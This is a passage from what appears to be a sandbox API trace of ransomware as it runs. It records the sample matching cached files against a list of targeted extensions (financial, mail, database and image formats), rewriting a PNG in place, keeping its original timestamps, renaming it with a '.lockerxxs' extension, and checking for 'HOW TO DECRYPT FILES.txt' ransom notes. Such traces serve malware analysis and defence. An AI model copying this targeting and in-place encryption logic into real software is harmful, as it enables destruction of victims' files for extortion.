Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.738] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.738] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.738] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAbyinC[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" [0082.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.ems") returned 0 [0082.738] lstrlenA (lpString="*.ems") returned 5 [0082.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.db") returned 0 [0082.738] lstrlenA (lpString="*.db") returned 4 [0082.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.dbf") returned 0 [0082.738] lstrlenA (lpString="*.dbf") returned 5 [0082.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.myox") returned 0 [0082.738] lstrlenA (lpString="*.myox") returned 6 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.myo") returned 0 [0082.739] lstrlenA (lpString="*.myo") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbw") returned 0 [0082.739] lstrlenA (lpString="*.qbw") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbb") returned 0 [0082.739] lstrlenA (lpString="*.qbb") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbm") returned 0 [0082.739] lstrlenA (lpString="*.qbm") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbo") returned 0 [0082.739] lstrlenA (lpString="*.qbo") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbx") returned 0 [0082.739] lstrlenA (lpString="*.qbx") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qba") returned 0 [0082.739] lstrlenA (lpString="*.qba") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qby") returned 0 [0082.739] lstrlenA (lpString="*.qby") returned 5 [0082.739] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qbj") returned 0 [0082.740] lstrlenA (lpString="*.qbj") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.ofx") returned 0 [0082.740] lstrlenA (lpString="*.ofx") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.qif") returned 0 [0082.740] lstrlenA (lpString="*.qif") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.mye") returned 0 [0082.740] lstrlenA (lpString="*.mye") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.mbox") returned 0 [0082.740] lstrlenA (lpString="*.mbox") returned 6 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.eml") returned 0 [0082.740] lstrlenA (lpString="*.eml") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.pst") returned 0 [0082.740] lstrlenA (lpString="*.pst") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.ost") returned 0 [0082.740] lstrlenA (lpString="*.ost") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.idx") returned 0 [0082.740] lstrlenA (lpString="*.idx") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.dbx") returned 0 [0082.740] lstrlenA (lpString="*.dbx") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.sql") returned 0 [0082.740] lstrlenA (lpString="*.sql") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.mdb") returned 0 [0082.740] lstrlenA (lpString="*.mdb") returned 5 [0082.740] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.fdb") returned 0 [0082.741] lstrlenA (lpString="*.fdb") returned 5 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.wab") returned 0 [0082.741] lstrlenA (lpString="*.wab") returned 5 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.dat") returned 0 [0082.741] lstrlenA (lpString="*.dat") returned 5 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.txt") returned 0 [0082.741] lstrlenA (lpString="*.txt") returned 5 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.jpeg") returned 0 [0082.741] lstrlenA (lpString="*.jpeg") returned 6 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.jpg") returned 0 [0082.741] lstrlenA (lpString="*.jpg") returned 5 [0082.741] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", pszSpec="*.png") returned 1 [0082.741] lstrlenA (lpString="*.png") returned 5 [0082.741] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" [0082.741] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" [0082.741] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png." [0082.741] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.lockerxxs" [0082.741] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.742] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fc [0082.742] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x454eaa90, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x454eaa90, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x454eaa90, dwHighDateTime=0x1d2faf3)) returned 1 [0082.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2d6, lpOverlapped=0x0) returned 1 [0082.744] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png") returned="AAbyinC[1].png" [0082.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.744] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2d6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2d6, lpOverlapped=0x0) returned 1 [0082.744] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.744] CloseHandle (hObject=0xa4) returned 1 [0082.746] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png.lockerxxs")) returned 1 [0082.747] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ab8030, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x340b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAicW5W[1].jpg", cAlternateFileName="AAICW5~1.JPG")) returned 1 [0082.747] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.747] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAicW5W[1].jpg") returned 1 [0082.747] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAicW5W[1].jpg") returned 1 [0082.747] lstrcmpiA (lpString1="", lpString2="AAicW5W[1].jpg") returned -1 [0082.747] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png") returned="AAbyinC[1].png" [0082.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.747] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.747] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.747] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.747] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAicW5W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" [0082.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.ems") returned 0 [0082.747] lstrlenA (lpString="*.ems") returned 5 [0082.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.db") returned 0 [0082.747] lstrlenA (lpString="*.db") returned 4 [0082.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.dbf") returned 0 [0082.747] lstrlenA (lpString="*.dbf") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.myox") returned 0 [0082.748] lstrlenA (lpString="*.myox") returned 6 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.myo") returned 0 [0082.748] lstrlenA (lpString="*.myo") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbw") returned 0 [0082.748] lstrlenA (lpString="*.qbw") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbb") returned 0 [0082.748] lstrlenA (lpString="*.qbb") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbm") returned 0 [0082.748] lstrlenA (lpString="*.qbm") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbo") returned 0 [0082.748] lstrlenA (lpString="*.qbo") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbx") returned 0 [0082.748] lstrlenA (lpString="*.qbx") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qba") returned 0 [0082.748] lstrlenA (lpString="*.qba") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qby") returned 0 [0082.748] lstrlenA (lpString="*.qby") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qbj") returned 0 [0082.748] lstrlenA (lpString="*.qbj") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.ofx") returned 0 [0082.748] lstrlenA (lpString="*.ofx") returned 5 [0082.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.qif") returned 0 [0082.749] lstrlenA (lpString="*.qif") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.mye") returned 0 [0082.749] lstrlenA (lpString="*.mye") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.mbox") returned 0 [0082.749] lstrlenA (lpString="*.mbox") returned 6 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.eml") returned 0 [0082.749] lstrlenA (lpString="*.eml") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.pst") returned 0 [0082.749] lstrlenA (lpString="*.pst") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.ost") returned 0 [0082.749] lstrlenA (lpString="*.ost") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.idx") returned 0 [0082.749] lstrlenA (lpString="*.idx") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.dbx") returned 0 [0082.749] lstrlenA (lpString="*.dbx") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.sql") returned 0 [0082.749] lstrlenA (lpString="*.sql") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.mdb") returned 0 [0082.749] lstrlenA (lpString="*.mdb") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.fdb") returned 0 [0082.749] lstrlenA (lpString="*.fdb") returned 5 [0082.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 